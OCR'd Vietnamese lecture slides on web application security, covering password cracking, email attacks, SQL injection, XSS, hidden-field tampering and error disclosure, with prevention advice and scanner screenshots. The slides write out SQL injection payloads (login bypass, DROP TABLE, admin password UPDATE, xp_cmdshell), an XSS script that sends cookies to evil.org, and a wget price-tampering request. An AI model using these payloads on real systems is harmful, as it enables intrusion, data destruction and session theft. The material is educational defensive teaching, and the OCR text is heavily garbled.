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id Threats & Vulnerability

Threats

0 Hanh déng hodc sw kién gay hai dén hé
thong

Vulnerability

0 L6 hong hodc diém yéu cla hé thong ma to
do cho phép ngwoi khac xam nhap vao hé
thong
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Password Cracking

Phwong phap Iwu mat

khau Password cracking
| Khéng ma hoéa - Clear | Brute force attack
"] Ma hoa 2 chiéu - | Dictionary attack

Encrypted
"] Ma hoa 1 chiéu -

Hashed
Userld Password PasswordFormat PasswordSalt
b44f7a46-f437-4cb3-8461... myPassword 0 *— Clear xGUQQ95Kw 1X8...
3957ada0-de80-4751-ae9... g/OBSLD1t/XbIL... 1 rgPAc/1cfFWB7I...
ba257c53-07d8-49ca-94d... OLRBJtHubgD3d... 1 Salt =P 1xU6L DFv/2S. ..
Saal1602-aadf-41c1-9e5... dMe8cwqO3IwP... 1 *— Hashed 6XPIOW]E3GSN...




£ cdio Khong ma hoa mat khau @

“"What is your username & password?” E

/@ ballon
My name is marry. My password is ballon. =

ballon
222

.JL;\

>
>




Faito M3 hoa 2 chidu <&

A\

“What is your username & password?”

A

Encode (ballon)
My name is marry. My password is ballon.

YmFsbG9vbiA=

?22?

“"What is your username & password?”

-«

ballon
My name is marry. My password is ballon. =

Decode(YmFsb...)

22?2
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~ "What s your username & password?” E

Encode (ballon)

My name is marry. My password is ballon.

YmFsbG9vbiA=

22?
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" cdio Password Cracking @

“.

File mat khau

joe OMfsk4EQ. ..
mary  AEd62KRD...
john J3131hF7MV. -

Hacker "mo” cac tur khoa da dugc ma hoa

Mat kh3u cua
marry la balloon Encode (apple) = 9ahda84EQ. ..
Encode (aardvark) = z5wcudWwE...

Hacker Encode (balloon) AEd62KRD. ..

T | ; Encode (doughnut) = tvj/déR4...
A @
.—"—\J\'-_)




ﬂd Password Cracking (tt) @

Brute force attack

0 M3 hoéa hang ngan passwords c6 sadn bang ham
hash
O So sanh két qua v&i di liéu hash trong database

Dictionary attack

O Lwu danh sach cac username & password théng
dung
O Dung céc théng tin nay dé thtr dang nhap hé
thong
o

-




ﬂd Bao vé mat khau <&

Gi®i han s lan dang nhap that bai

Str dung mat khau manh (strong password)

O Chiéu dai toi thiéu

O Khéng sl dung cac tir trong tw dién, day ky tw lién tiép

O K&t hop chiv cai, ki tu sb, ki tw dac biét

Str dung cac giao thirc dang tin cay khi xtr ly mat khau

Chirng thwe ngwei dung khi doi & reset mat khau

O Khi thay d6i mat khau, nén ching thuc lai nguwdi dung: mat
khau ci, tai khoan nguwéi dung...

O Khi nhén duoc yéu cau reset mat khau, clng nén xac nhan lai
yéu cau reset
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ﬂd E-mail Attacks

E-mail Bombing
O G&i cung mét email nhiéu lan dén mot user

O Muc tiéu chiém dwdng truyén va xi ly cla
mail server

E-mail Spamming
O G&i email dén nhiéu user
O Thuwong str dung mailing list

SN 15



ﬁd Bao vé Email &

Khéng hién thi dia chi email trén web

<a href=mailto:yourmail@gmail.com>Gui mail</a>
S dung hinh anh hoac ky tw dat biét dé thay thé
Ttbhanh at fit dot hcrmuns dot edu dot vn
Thiét 1ap rule cho mailing list chi nhan email t& mail noi
bo
St dung CAPCHA dé phong nhap liéu tw déng...

{camboat train., |

LDislmorning |r2o oY the O
cew-TLondgon. Four cars plun
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id SQL Injection <

Mot ki thuat cho phép nhirng ké tan cong loi dung
16 héng trong viéc kiém tra di? liéu nhap trong cac
(rng dung web va cac thdng bao 16i cia hé quan tri
co s& dit liéu dé dwa vao va thi hanh cac cau lénh

SQL bat hop phap

N m
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id Cac dang tan cong SQL Injectlo

Vwot qua kiém tra luc dang nhap
(authorization bypass)

Lay dir liéu
Thay déi dir liéu
Goi thwe thi chwong trinh khac

N m



‘o Vwot Kiém tra luc dang nhap @

| Cau SQL thwong dung trong dang nhap:

strSQL = "SELECT * FROM Users "
+ "WHERE Username='" 4+ strUsername + "'"
+ " and Password='" + strPassword + "'"

You are currently not logged into the system.

Log In

User Name: ' or"="

Password: eeeeeeeeee

Remember me next time.

Log In




id Vwot Kiém tra lic dang nhap (tt)@

Pé vuot qua, hacker nhap:

strUsername: ' or '' ="

strPassword: ' or '' ="

Cau SQL luc nay:
SELECT * FROM Users

Where Username = '' or ''

and Password = "'Jor ''

Cau SQL nay luén dang, va tra ve tat ca thong tin trong bang Users

/




id Lay d liéu - S& dung cau Selec@

Xem chi tiét 1 ban tin
O http://www.myhost.com/shownews.aspx?ID=123
O Code xu ly

string ID = Request.QueryString[“ID"];

string strSQL = "select * from News
where NewsID=" + ID;

Néu ngudi dung thay chd 123 bang chudi 0 or
1=1

Khi do cau 1énh SQL:

O select * from News where NewsID=0 or 1=1

Két qua la sé hién tat ca tin tirc




- Lay di¥ liéu - S& dung cau Select &
Union

Mot sb vi du khac

= ' UNION SELECT ALL SELECT OtherField FROM
OtherTable WHERE ' '=’

néu hé thong bao 16i vé cu phap dang: Invalid object name

“OtherTable”; ta c6 thé biét chac la hé thong da thwc hién cau SELECT
sau tr khéa UNION

' UNION SELECT name FROM
sysobjects WHERE xtype = 'U'

Liét ké tén tat ca cac bang div liéu

N 23




.. Thay doi di liéu - St dung cau
i &nh Insert «

Cau lénh dung:
string strSQL = "INSERT INTO TableName "
+ "VALUES('" + strValuel + "','" + strValue2 + "',K '™

+ strvValue3 + "'")"
Néu ngudi dung nhap trudng thir nhat
(strValue1)

'+ (SELECT TOP 1 FieldName FROM TableName)+'

Khi do cau lénh SQL:

INSERT INTO TableName VALUES(' ' + (SELECT TOP 1
FieldName FROM TableName) + ' ', 'abec', 'def')

Ngoai Iénh Insert, thi cau Iénh nay con thwc hién Iénh Select




- Thay ddi di liéu — St dung cau@
i |énh Update & Drop

= ; DROP TABLE <Tén Table> --

Xé6a bang dir liéu

= ; UPDATE USERS SET EMAIL=‘your email’
WHERE username=‘admin’

Tao dia chi email mé&i sau dé str dung chirc nang password recovery

= ' UNION UPDATE USERS SET PASSWORD=‘your
pass’ WHERE username=‘admin’

Thiét 1ap mat khau mé&i




<. G0l thuc thi chwong trinh khac - Str dung stored
procedures

Thuc thi vo1 quyén quan tr1 hé théng ‘sa’
O '; EXEC xp_cmdshell '‘cmd.exe dir C:'

Thwe hién Iénh liét ké thw muc trén 6 dia C:\ cai dat server

Viéc pha hoai ki€u nao tuy thudc vao cau I¢nh dang sau
cmd.exe.




ﬂd Cach phong tranh SQL Injection@

Kiém soat chat ché di liéu nhap vao
O St dung Validation Control )
0 Viét ham loc cac ky tw dac biét trong chudi nhap

Véo ( (A} |A) , wiyrw , (A} ; |A) , Y' —__n , 1A) Xp_" ,
"select", "drop", "insert",
"delete”)

0 S dung Parameters cho Store procedure/SQL

Thiét 1ap cau hinh an toan cho hé quan tri co

so dir lieu

O Gidi han quyén x& |i di liéu dén tai khodn ngudi
dung

O Tranh dung dén cac quyén nhw dbo hay sa.
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id XSS (Cross-Site Scripting) @

"1 M6t ki thuat cho phép nhitng ké tan cong loi dung 16 héng
trong viéc kiém tra dir liéu nhap trong cic &rng dung web va
cac thong bdo 16i nham chén nhirng doan ma script nguy
hiém c6 thé gy nguy hai cho nhirng nguoi sir dung

= x

=

£ 29
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Phat hién 16 hdng XSS

1. Vao website can kiém tra

2. DPinh vi cac form nhap li¢u:
search, login form,
querystring. ..

3. Nhap hoac chen doan script
vao form nhap li¢u hodc
trén duong dan url &
submit. Vi du

<script>alert(‘'XSS’) ;</script>

z x , 2 P You searched for:
4. Neu thay cura s6 alert xuat <b>
* A \ . J4 X A <Script>
hién thi website c6 16 hong alert( XSS') &
XSS </script>
</b>: Search for
injected HTML

Ref: http://ha.ckers.org/xss.html




o Phat hién 16 hdng XSS — Vi dy €

3 43 Things - Microsoft Internet Explorer _-_LL:I_LZI
J File Edit View Favorites Tools Help | ﬂ..
J @ Back ~ @ v @ @ : \{b ‘ p Search *Favorites aMedia @ | ,}\}

Jﬁddress Iahl:tp:waw.43things.com,fentries,fsave_comment _'J = Go

Home Zeitgeist Your 3 Things Log Out GO

There was an error saving your comment.

e Malformed HTML found.,

Microsoft Internet Explorer .|

& %55 —
=

Title (optional)
|<m6 srRc=javascript:alert('Xss')>

Your comment
<ING SRC=javascript:alert('XSS')> =]

lunyéés




(e T4n cong XSS <&

1. Sends URL containing a
hidden script

.

4. Browser executes script

and sends private data
2. Follows URL 3. Serves page

containing script containing script

SomelegitSite.com




R | "

o TAncong XSS —Vidy €

- —— -
Cookie

lvl: ncbody

Cookie + Data
—
<script>
—

Data

lvl: admin

cooXi=

Cookie + Data
—
oo -
—

Data

lvl: admin

<script>
i=new Image()
i.src="http://www.evil.org/getcookie.aspx?cookie=" +
escape (document. cookie) ;




ﬂd Cach phong tranh XSS @

Kiém tra dir liéu nhap tir nguoi dung
CIChi chap nhan nhiing dir liéu hop 1&
CLoc cac ky tu dac biét
CIPhat hién céc thé script

Ma hoa (encoding) cac ki tu dac biet trudc
khi in ra website nham ngan chan website tu
thue thi cac script khong mong muodn
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- _ _ - L/
i Hidden Field Vulnerabilty

La théng tin an trong trang web, dwoc thé
hién duwdi thé
<lnput type=“hidden” value="“xyz”
/>
Khéng hién thj I&n trinh duyét
C6 thé xem dwoc vdi chirc nang View
Source

N %



‘e Hidden Field Vulnerability — Vi dues

'@, Dién thoai di déng - Mozilla Firefox & & W = 5 | @ Gid hang - Mozilla Firefox s e v 4 [F=R ) é
Eils Edit View History Bookmarks Tools Help File Edt View Higtory Bookmarks Jools Help l
ﬁ' c A W.; * (L] | http://localhost/Security/ ¢ ~ | |[G]+| Google P g 2 C A G * | ||  htp://localhost/Security/s - | |G- R |
11 Website mén hoc Kho... |k Game VN - Powered b... | Unicorn Elder - Lineag... ] SignIn » | T Website mdn hoc Kho... L4 Game VN - Poweredb... | | Unicom Elder - Lineag... £ Signln o
JANG | v |} Search -| gy Active surf-shield |[54 search-s{ || | ane -| 214 sesech =] g Active Sust-shiei @

Phone 2G 16Gh SO lwgng san pham can mua: 1 (san pham)
Gia: 10.000.000 VND Mai s6 thé tin dung 01234567 ok
|
Done ) } Done e
<form id="frmThanhToan" name=" frmThanhToan " method=“POST" action="thanhtoan.php">
<p>S6 luong san phdm cAn mua:
<input name="sosanpham" type="text" id="sosanpham" size="10" />
(san pham)
</p>
<p>M3 sb thé tin dung
<input name="masothe" type="text" id="masothe" size="20" />
<input name="thanhtoan" type="submit" id="thanhtoan" value="ok" />
</p>
—— <input type="hidden" name="gia" value="10000000" /> 37

</form>




:’\\\ N

fdfo M6 hinh xt ly 2

) S0 sian pham
i g Hoa don:
Web Gid:10.000.000 Web 10.000.000
Borwser > Server |
lient) SO thé tin dung X
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Muc dich

S6 sian pham

j . i W Hoa éorn Creditj

Wb web | OoMEBD
Borwser | * Server | Payment
: So thé tin du1 g Gateway
(Client) |_
Muc tiéu

Wget - -post-data “gia=1000&thanhtoan=ok&sosanpham=1”
http://localhost/Security/thanhtoan.php




o Cach phong tranh Hidden Field @
7 cdio .
i Vulnerability

Ma hoa dir lieu lwu trong Hidden Fields

Khéng Iwu cac di¥ liéu nhay cam trong
Hidden Fields

SN 40
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" cdio Failing to Handle Error

~

Hé thong khéng tw x& ly 16i va dé cac thong bao 16i chi
tiet hién thi nhirng théng tin quan trong giup ké tan céng
xam nhap hé thong

¢ | Microsoft Internet Explorer r._Elrz]
Fle Edt  View Favorites Jeos  Hep 3’

@Back ) ﬂ _ﬂ {;‘ /j’Search *i}.:/Famles eMeda e\ :__',v f = L m&ﬁ

orporate.cim?ser ID=533--2D=113 v EJce unks ®

81N\t prslate S " 1
Called from E: GG

it L o Full path names

alled from - ——

dalled from E: - 7

aitterplate I i 15 revealed
Clled from ¢ G

81 molam_'ﬂe 144

Called.from

EhOZfre.act R022x4 . daveTinALLichage ASC

e r e ~e Table Name

rhOffre serviceDivision!D , rhOffre!
rhOffra typePostalD |, rhOffra,usrID [ PROMra ty b
rhoffre.active , rhTypePosts typePostelD , rhTYDsPosm ACHVE T A b
rhTypePosteDesc.typePosteDesclD , . P le l d N al]le
rhTypePosteDesc.typePosteDaschom ,

rhTypePosteDesc.typ D, rhTyp teDesc.). 0,
rhTypePosteDesc.notes FROM rhOffre LEFT JOIN rhTypePoste ON
( rhOffra typePosteID = rhTypePoste typePostelD) LEFT JOIN
rhTypePosteDesc ON ( rhTypePosteDesc.typePostelD = D b ~ N
rhTypePoste.typePostelD) WHERE 1 = 1 AND . . ala abe al]le
rhOffre cervicaDivisionID = 'S33--" AND rhoﬂre.lvpeggﬁv¢=‘l‘
AND rhoffre.active = 1 AND ( rhTypePosteDascdaniguagelD =
'EN' OR rhTypePosteDesc.languagelD4S NULL ) ORDER BY 42

h’ esctyp rhOffre dateFinAffich
sc P
DATASOURCE -

£




o Failing to Handle Error — Vi du @

i.ﬁgdress &) v/ T o0 10t 20m 2:9:20(14)2% 20Fr o % 20customers9%20where%20Flag=1) v B
2) | | Pisearch ~

Error Occurred While Processing Request
”l';.'n'or-I-)riagnostit Tnformation

ODBC Etror Code = S0002 (Base table not found)

[Microsoft) ODBC Microsoft Access Dnver] The Microsoft Jet database engme cannot find the mput table or quc sure 1t exsts and

that its name 15 spelled Torrectly:

The error occurred while processing an element with a general identifier of (CFQUER occupyirg@on (203:2) to (203:43).

Date/Time: 03/28/04 13:2446
Browser. Moalla/4.0 (compatible, MSIE 6.0, Windows NT 5.1)

Remote Addres:: [ NGNN
Query Strng load[D=(select%20max?20(d)%20from%20customers 20where%20flag=1)

- 43




s

A Error Occurred While Processing Request - Microsoft Internet Explorer

Fle Edt View Favorites Took Heb 3
Qek - @  |x] &) @ POsencr Sirraones @mess @ -2 @ - JE

Address | v B ks ®
Google~ | v @seachweb - D BhS8blocked 1]~ #d options 2

Error Occurred While Processing Request

Error Diagnostic Information

ODBC@ 37000 (Syntax error or access vi@
(Microsoft] [ODBC SQL Server Driver][SQL Server@orrect syntax nc@

(S = "SELECT NAX(last_updated) AS last_updated FRON mem_members_staff WHERE®

/T):t:’gurce = "COMMFDN
mred while processing an element with a general identifier of (CFQUERY), occupying d®
posits :1) to (48:89) in the template file D:\USERS\COMMFDN\HTML\WHO_WE_ARE\LIST.CFN.
Date/Time: 09/07/04 16:38:34

Bromser: Nozill ible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)
Remote Address:

Query String: id=-1

&) Done © Intemet
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.. Cac cdng cu hd tro kiem tra béo@
7 cdio a
' mat Web

Nikto
0 Open Source (GPL) web server scanner

Paros Proxy
0 Cho phép xem/stra HTTP/HTTPS

messages on-the-fly dé thay ddi cookies, @
form fields,... AQ @ S
Acunetix WVS

0 Commercial Web Vulnerability Scanner n

Ref: http://sectools.org/web-
scanners.html



http://www.gnu.org/licenses/licenses.html

ﬂd Céng cu ho tro kiém tra bao mé\te>

Macunetix

Web Vulnerability Scanner

- Quét 16i

- Quét cong

- Scan cau tric Website

- Kiém tra mic do bao mat website
- Download: www.acunetix.com




. File Tools Configuration Help

iQnwsen B P EEBQY OB | |B I |D|6
Tools Explorer 9| M acunetix WEB APPLICATION SECURITY
@ ';.l_fr:‘.b Yulnerabiity Scanner
w. Web Scanner
S & Tools Acunetix Web Vulnerability Scanner
(3 Site Crawfer
- Target Finder Web Scanner erforms automatic security auditing for web applications.
L Sy & Tools ty tools that contribute to the audit
[ HTTP Edtor ) ecurity tools that contribute to the auditin ﬁcessk -
HTTP Sniff = . . - m g“ v
_Q' HTTPF X (= Web Senices Is for auditing web senvices. c c“ Q'lﬂ A
@ uzzer
3 Authentication Tester =5 Configuration onfiguration of the application or the scanning profiles
2 Compare Results

= (=) Web Services
&> Web Services Scanner
& Web Services Editor
= = Configuration
& Settings
) Scanning Profiles
o = General
@ Program Updates
[i4] Yersion Information
& licensing
&) Support Center
&) Purchase
&) User Manual (htmi)
&) User Manual (pdf)

=7 General

sed to perform application updates, check version information and licensing, techical support and purchasing

nformation

Common tasks

] New Scan

Start a new website scan

% Sample Scan

Load the resulls from a sample scan session

& New WS Scan

Slfln anew web sevicescan___ Tu “ “ & Q“

§ Reporter

3 Scheduler

Start the reporter tool l. l

Start the scheduler

@) Acunatix Ltd © 2007

All rights reserved, Acunetix WVS v5.0 Build 20070621

| Activity Window

8

12 modules loaded.

Load module "Text search” ...

Load module “GHDB - Google hacking database" ...

Load module “Knowledge base" ...

Load module "Web Services - Parameter manipulation” ...

Load module “Web Services - Multirequest parameter manipulation” ...

A

v

~ Application Log [Error Log




- File Tools Configuration Help
Onewsen @ @ P EBQe OB || I |D|E
T B ) 05| b 5] 6 repot | 2| sttt ey v | Pofe: defout =8
Web Vulnerability Scanner
Scan Results Status | ™ A
| M acunetix WEB APPLICATION SECURITY
E %:‘:’f’m = %9 Scan Thread 1 ( hitp:fl WWadmin... Finished (4 alerts)  Al[
g Alerts (4) |
(3 Site Crawler i ' ,
- Target Finder = @) User credentisls are sent in clear te... | ¢— Password type input with autocomplete e/ iNFo'
£, Subdomain Scanner ] 7administrator/index. php li.li “ ‘
[ HTTP Editor = @ Brokenlinks (1) u Vuinerability description
& HITP Sniffer [] tadministratorfappjfunction.req... 5 T ’ - —
. HTTP Fuzzer ] — [ VEN3 ] asswor e Inp name SSWO om
B Bhbictibibieih n nistratorfindex.php?

) Authentication Tester
i Compare Results
= ([ web Services
& Web Services Scanner
& Web Services Edtor
(= (- Configuration
& Settings
] Scanning Profiles
= ) General
@ Program Updates
[1:9] version Information
P Licensing
£) Support Center
) Purchase
&) User Manual (html)
£) User Manual (pdf)

unnamed form with 3

— . url=lusersflogin has au enabled. An attacker wi
(] ogSarver ri=lusersfiogin has au bled. An attacker with
= @ Password type input with autocompl... local access co cleartext password from the
; L B jadministratorfindex.php =& browser cache
= %@ Knowledge Base (1) Phién This vulnera ects /administratorfindex.php.
List of Files with inputs h e f this vulnerabili
= g Ske Structure N impact of fs wanerselly
=g ' m Possible sensitive information disclosure
- ini K detai
= m administrator ) OK (200) Attack is
= @ ap OK (200)
= @ webroot OK (200) ]  No details are available.
= ©€@Hu tolg site  Forbidden (409) -
& g b Not Found (404) | ¥ View HTTP headers
] caladdsutton v View Tesponse LS
I ® Launch the attack with HTTP Editor
_] calc_back_bt...
| calc_black_bt... How to fix this vulnerability
L] cakc_canc [x... The password autoc pwmbe disabled in sensitive]
| w U
;]1 ca!c'gmy'f)_t"' v |l applications. ”ﬂ
< > ||| Todisable autos ete, you may use a code similar to: v
| Activity Window )
Test module: Parameter manipulation (3 of 10) A
Parameter manipulation is executing on script */administratorfindex.php (1 of 1)" ...
Finished scanning.
Saving scan resuks to database ...
Done saving to database,
v

i Application Log [ Error ‘Log

Ready



ﬂcdo Tong két <

o Password Brute force attack & Dictionary attack
E-mail Bombing & Email Spamming
SQL Injection
Cross Site Scripting (XSS)
Hidden Fields Vulnerability
Failing to handle errors
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